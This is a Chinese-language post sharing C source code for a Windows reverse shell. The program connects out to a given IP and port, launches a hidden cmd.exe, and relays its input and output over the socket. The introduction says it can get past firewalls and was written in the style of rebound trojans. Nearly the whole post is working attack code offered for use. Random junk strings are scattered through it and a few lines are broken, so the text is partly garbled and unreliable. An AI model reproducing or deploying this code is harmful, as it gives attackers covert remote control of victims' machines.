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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 9Z*`{  
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/* ============================== *XH?|SV  
Rebound port in Windows NT Byldt  
By wind,2006/7 o*p7/KvoT  
===============================*/ FGwz5@|E  
#include DP^{T/G  
#include %J.Rm0FD:  
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#pragma comment(lib,"wsock32.lib") wT*N{).  
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void OutputShell(); 3tXtt@Yy  
SOCKET sClient; O.rk!&N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v@>hjie  
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void main(int argc,char **argv) "6Dz~5  
{ nt;A7pI`  
WSADATA stWsaData; yE"hgdL  
int nRet; Slv}6at5  
SOCKADDR_IN stSaiClient,stSaiServer; ~fCD#D2KU  
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if(argc != 3) 0RoI`>j'  
{ PtgUo,P  
printf("Useage:\n\rRebound DestIP DestPort\n"); SF_kap%JM  
return; ; UrwK  
} u85y;AE,(  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7%7_i%6wP  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  g<,v2A  
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stSaiClient.sin_family = AF_INET; ybS7uo  
stSaiClient.sin_port = htons(0); 0w+hf3K+:  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); P\2QH@p@t  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0A 4(RLGg  
{ f[|xp?ef  
printf("Bind Socket Failed!\n"); TqQ>\h"&_  
return; _|A)ueY  
} $~D`-+J  
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stSaiServer.sin_family = AF_INET; <[~x]-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Hlz4f+#I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $wN'mY  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m k -" U7;  
{ v0$6@K;M4G  
printf("Connect Error!"); i}wu+<Mk  
return; hJd#Gc~*M  
} sXhtn' <v  
OutputShell(); 8:t-I]dzk  
} a[(n91J0  
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void OutputShell() m%Ef]({I  
{ kN}.[enI~  
char szBuff[1024]; l>=c]  
SECURITY_ATTRIBUTES stSecurityAttributes; R8],}6,;E}  
OSVERSIONINFO stOsversionInfo; zb;' }l;+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l>qCT  
STARTUPINFO stStartupInfo; L\-T[w),z7  
char *szShell; q>Q|:g&:  
PROCESS_INFORMATION stProcessInformation; 2iH ,U  
unsigned long lBytesRead; .5 dZaI)  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hfc^<q4a.  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,/d-o;W  
stSecurityAttributes.lpSecurityDescriptor = 0; KO5Q;H  
stSecurityAttributes.bInheritHandle = TRUE; ;^rZ"2U l  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); J|'T2g  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <c\aZ9+V  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,#c-"x Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^ 1J;SO|  
stStartupInfo.wShowWindow = SW_HIDE; 7PisX!c,h  
stStartupInfo.hStdInput = hReadPipe; C&5T;=<jKO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; y!v$5wi  
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GetVersionEx(&stOsversionInfo); +-.BF"}  
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switch(stOsversionInfo.dwPlatformId) MiSFT5$v6  
{ <4O=[Q5S  
case 1: mR0@R;,p  
szShell = "command.com"; . }=;]=  
break; 3)3'-wu  
default: %hTe%(e  
szShell = "cmd.exe"; _X]?  
break; |/<iydP  
} .7kVC  
#); 6+v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ZDVaKDqZ_  
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send(sClient,szMsg,77,0); >Y \4 v}-  
while(1) st+Kz uK  
{ S((8DSt*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); He]F~GXP  
if(lBytesRead) Mq7|37(N[  
{ #JW1JCT  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EAq >v t83  
send(sClient,szBuff,lBytesRead,0); fe0 Y^vW  
} &c\8` # 6  
else {==Q6BG*  
{ de`6%%|  
lBytesRead=recv(sClient,szBuff,1024,0); ZO;]Zt]  
if(lBytesRead<=0) break; v$mA7|(t!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~cZ1=,P  
} CY 7REF  
} v(t&8)Uu  
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return; m# SZI}  
}
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